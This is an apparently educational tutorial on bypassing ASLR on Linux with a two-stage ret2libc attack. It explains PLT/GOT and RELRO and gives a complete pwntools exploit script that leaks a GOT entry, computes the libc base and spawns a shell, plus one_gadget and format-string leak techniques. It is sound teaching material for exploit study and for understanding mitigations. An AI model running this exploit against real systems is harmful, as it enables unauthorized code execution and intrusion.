Advanced

Defeating ASLR: Memory Leaks, PLT/GOT, and Ret2Libc Exploitation

When ASLR randomizes library addresses, absolute addresses become useless. Learn how attackers exploit dynamic linking, leak GOT entries, and compute runtime offsets to bypass ASLR and achieve code execution.

The previous article in this series covered Return-Oriented Programming β€” chaining together existing executable fragments to bypass the NX bit. The technique works, but it depends on knowing where those fragments are in memory at runtime. On a modern Linux system with ASLR enabled, you don’t.

Address Space Layout Randomization (ASLR) randomizes the base addresses of the stack, heap, and shared libraries on each execution. A gadget at 0x7ffff7a12345 in one run might be at 0x7f2b9c1d3456 the next. Hardcoded addresses break immediately.

This article explains how to defeat ASLR without guessing: by forcing the program to reveal a runtime address through a memory leak, using that address to compute the current library base, and then constructing a second-stage payload with correct addresses. The technique is called a two-stage ret2libc attack, and it’s the standard approach when facing ASLR on non-PIE binaries.

If you’re arriving here without the prior context: the core prerequisites are a stack buffer overflow that controls the return address, and a target binary compiled without PIE (Position Independent Executable). Both are explained in the earlier articles; a brief recap is included below.


Prerequisites

Buffer overflow + return address control: A stack buffer overflow that reaches the saved return address lets an attacker redirect RIP. Functions like strcpy, gets, and scanf("%s") copy input without bounds checking, making this possible when input exceeds the buffer size plus the saved rbp (typically 24 bytes total for a 16-byte buffer on x86_64).

Non-PIE binary: ASLR randomizes the heap, stack, and loaded libraries. It does not randomize the main executable’s load address unless compiled with -pie -fPIE. On a non-PIE binary, the .text segment, PLT, and GOT sit at fixed addresses across every run. This is the precondition for the technique below β€” against a PIE binary, you’d need an additional leak for the binary’s own base address.

NX enabled, no stack canary (for the demo): The binary has the NX bit set (stack not executable), so shellcode injection doesn’t work. No stack canary, so the overflow path reaches the return address cleanly.


Why ASLR Doesn’t Randomize Everything

ASLR shifts library base addresses by a random offset at load time. The entropy depends on the architecture and kernel configuration: on 64-bit Linux it’s typically 28–32 bits for libraries and the stack, making brute force completely infeasible (roughly 1 in 4 billion attempts). On older 32-bit systems the entropy was 8–16 bits β€” shallow enough that brute force was a realistic attack in some scenarios.

What ASLR preserves: relative offsets within a library are fixed. The distance between puts() and system() inside libc.so is determined at compile time and never changes between runs. If you can discover where one function is at runtime, you can compute the location of every other function in the same library:

Baselibc=Addressleakedβˆ’Offsetleaked_func\text{Base}_{libc} = \text{Address}_{leaked} - \text{Offset}_{leaked\_func}

Addresstarget=Baselibc+Offsettarget_func\text{Address}_{target} = \text{Base}_{libc} + \text{Offset}_{target\_func}

The offsets are constants you can extract from the library file. The leaked address is what you need to obtain at runtime. That’s the job of Stage 1.


The PLT and GOT: How Dynamic Linking Works

A compiled binary doesn’t contain the code for puts() or system(). It references them from libc.so, which is loaded separately. Because ASLR means the compiler can’t know where libc will be at runtime, the binary uses an indirection mechanism:

PLT (Procedure Linkage Table): A small table of stubs in the binary’s .text segment, one per imported function. Calling puts() in C actually calls puts@plt β€” a few-instruction trampoline.

GOT (Global Offset Table): An array of 8-byte pointers in the binary’s data segment. Each imported function has a GOT entry. After the dynamic linker resolves a function, its GOT entry holds the actual runtime address.

Lazy Binding

The first call to puts@plt triggers lazy binding:

puts@plt:
jmp QWORD PTR [rip + <got_puts_offset>] ; jump to GOT entry
push <relocation_index> ; if GOT holds stub addr, fall through
jmp plt0 ; call the dynamic linker

On the first call, the GOT entry points back into the PLT, which calls ld.so. The linker resolves puts in libc, writes the real address into the GOT entry, then jumps there. Every subsequent call hits the real address directly.

The exploit relevance: After the first call to any imported function, its GOT entry holds the resolved runtime address β€” the ASLR-shifted address of that function in libc. The GOT itself sits at a fixed, known address in a non-PIE binary.

Full RELRO Blocks This

One important mitigation: Full RELRO (-Wl,-z,relro,-z,now) forces eager binding (all symbols resolved at startup) and then marks the GOT read-only. Against a Full RELRO binary, you can still read GOT entries for leaking, but you can’t overwrite them. Partial RELRO (default on most Linux distributions) leaves some GOT entries writable.

Check what a binary has before starting:

Terminal window
checksec --file=./vuln
# RELRO: Partial RELRO β€” GOT writable, lazy binding in effect
# NX: enabled
# PIE: disabled β€” fixed load address

Stage 1: Leaking a GOT Entry

The goal of Stage 1 is to call puts@plt with the address of puts@got as its argument. This makes the program print the 8-byte pointer stored in the GOT β€” the current runtime address of puts() in libc.

What You Need

Terminal window
# Gadget: pop rdi ; ret β€” sets rdi (first argument register)
ROPgadget --binary ./vuln --search "pop rdi"
# 0x0000000000401233 : pop rdi ; ret
# GOT entry address for puts
objdump -R ./vuln | grep puts
# 0x0000000000601018 puts@GLIBC_2.2.5
# PLT address for puts
objdump -d ./vuln | grep "<puts@plt>"
# 0x0000000000400510 <puts@plt>
# Address of main() β€” to restart and accept Stage 2 input
objdump -d ./vuln | grep "<main>"
# 0x0000000000400620 <main>

Stage 1 Payload Layout

Offset to return address: 24 bytes (16-byte buffer + 8-byte saved rbp).

OffsetContentEffect
+0–15b'A' * 16Fills buffer[16]
+16–23b'B' * 8Overwrites saved rbp
+240x401233ret β†’ pop rdi; ret gadget
+320x601018pop rdi loads puts@got address into rdi
+400x400510ret β†’ puts@plt β€” prints GOT entry
+480x400620puts returns here β†’ restarts main()

When this fires, puts@plt receives puts@got as its argument and prints the 8 bytes stored there β€” the runtime address of puts() in libc. Then execution returns to main(), which waits for Stage 2 input. ASLR doesn’t re-randomize between stages because the process hasn’t restarted β€” only RIP was redirected.

One subtlety: puts() prints until it hits a null byte (0x00). A 64-bit pointer is 8 bytes, but on Linux the top two bytes are typically 0x00 0x00 (valid user-space addresses use 48 bits). This means the leak will often be 6 bytes, not 8. Unpack as little-endian with zero-padding:

leaked_bytes = io.recvuntil(b'\n', drop=True)
leaked_addr = u64(leaked_bytes.ljust(8, b'\x00'))

Stage 2: Computing Offsets and Executing the Shell

With the runtime address of puts() known, you need its offset from libc’s base. Offsets vary by libc version β€” confirm which version is on the target:

Terminal window
ldd ./vuln
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"
# GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep -E " puts| system"
# 0000000000080a30 puts@@GLIBC_2.2.5
# 000000000004f4e0 system@@GLIBC_2.2.5
strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
# 1b40fa /bin/sh

If you don’t have the target’s exact libc, services like libc.rip identify the version from leaked symbol offsets and provide the full symbol table.

Computing the Base and Target Addresses

libc_puts_offset = 0x080a30
libc_system_offset = 0x04f4e0
libc_binsh_offset = 0x1b40fa
libc_base = leaked_addr - libc_puts_offset
system_addr = libc_base + libc_system_offset
binsh_addr = libc_base + libc_binsh_offset

Stage 2 Payload Layout

Same buffer and rbp padding, then a fresh ROP chain using computed addresses:

OffsetContentEffect
+0–15b'A' * 16Fills buffer
+16–23b'B' * 8Overwrites saved rbp
+240x401233pop rdi; ret gadget (fixed, non-PIE)
+32binsh_addrLoads /bin/sh pointer into rdi
+40ret_padBare ret for 16-byte stack alignment
+48system_addrJumps to system() in libc

The alignment pad (ret_pad β€” any bare ret in the binary) is necessary because system() uses SSE instructions internally that require rsp to be 16-byte aligned at the call point. Without it, the chain will segfault inside system().


Complete pwntools Script

exploit.py
from pwn import *
BINARY = './vuln'
LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(BINARY)
libc = ELF(LIBC)
# Gadgets and addresses (fixed β€” binary is not PIE)
pop_rdi = 0x401233
ret_pad = 0x40101a # bare ret for alignment
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
OFFSET = 24 # distance to return address
io = process(BINARY)
# ── Stage 1: leak puts() runtime address ──────────────────────────────────────
payload1 = b'A' * OFFSET
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(main) # restart β€” ASLR not re-randomized
io.sendline(payload1)
io.recvline() # consume "Access Denied." output if present
leaked_bytes = io.recvuntil(b'\n', drop=True)
leaked_puts = u64(leaked_bytes.ljust(8, b'\x00'))
log.success(f"Leaked puts @ {hex(leaked_puts)}")
# ── Calculate libc base and targets ───────────────────────────────────────────
libc.address = leaked_puts - libc.symbols['puts']
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
log.info(f"libc base @ {hex(libc.address)}")
log.info(f"system() @ {hex(system_addr)}")
log.info(f"/bin/sh @ {hex(binsh_addr)}")
# ── Stage 2: ret2libc with computed addresses ─────────────────────────────────
payload2 = b'A' * OFFSET
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)
payload2 += p64(ret_pad)
payload2 += p64(system_addr)
io.sendline(payload2)
io.interactive() # shell runs as current user β€” not root unless binary is SUID

One Gadget: A Faster Alternative

Many libc versions contain a one gadget β€” a single address that, when jumped to with the right register/stack state, executes execve("/bin/sh", NULL, NULL) without any argument setup:

Terminal window
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15 == NULL, r12 == NULL]
# 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15 == NULL, rdx == NULL]

If the constraints are satisfied at the point you’d jump there (often they are after a puts return), you can replace the pop rdi + ret_pad + system chain with just libc.address + one_gadget_offset. Whether constraints are met depends on what registers hold at that moment β€” check with GDB at the ret point.


Format String Leaks: An Alternative Leak Vector

The exploit above assumes you can call puts@plt through a ROP chain. A more common leak source in real vulnerabilities is a format string vulnerability: code like printf(user_input) instead of printf("%s", user_input).

%p in the format string prints a pointer-sized value from the stack or registers. By sending %p.%p.%p... an attacker can read stack memory, which often contains saved rbp values, return addresses, or libc pointers. Once a libc pointer is identified (recognizable by its address range or known offset), the same base calculation applies.

Format string leaks don’t require controlling the return address β€” they work as a standalone read primitive, which is why they’re often combined with a separate write primitive in multi-step exploits.


Where This Breaks Down

PIE + ASLR: Against a PIE binary, the binary’s own .text, PLT, and GOT are also randomized. You’d need a separate leak of a binary address before knowing where any gadgets or GOT entries are.

Full RELRO: The GOT is read-only after startup. You can still read GOT entries for leaking (a read primitive still works), but you cannot overwrite them for redirection.

Stack canary: If a canary sits between the buffer and the saved return address, a linear overflow will corrupt it and trigger __stack_chk_fail before reaching ret. Defeating canaries requires either a leak of the canary value or a non-linear write primitive.

ASLR + PIE + Full RELRO + canary together is the standard hardened configuration. Each layer closes a specific exploitation path. Bypassing all four simultaneously requires at minimum two separate vulnerabilities β€” a read primitive for the leak and a write/control primitive for the redirect β€” which is why modern exploitation research focuses on vulnerability chaining rather than single-bug exploits.

V

Author

Varkin Academy

Tags

#cyber security #exploit #assembly #memory corruption #linux internals #ASLR bypass #ret2libc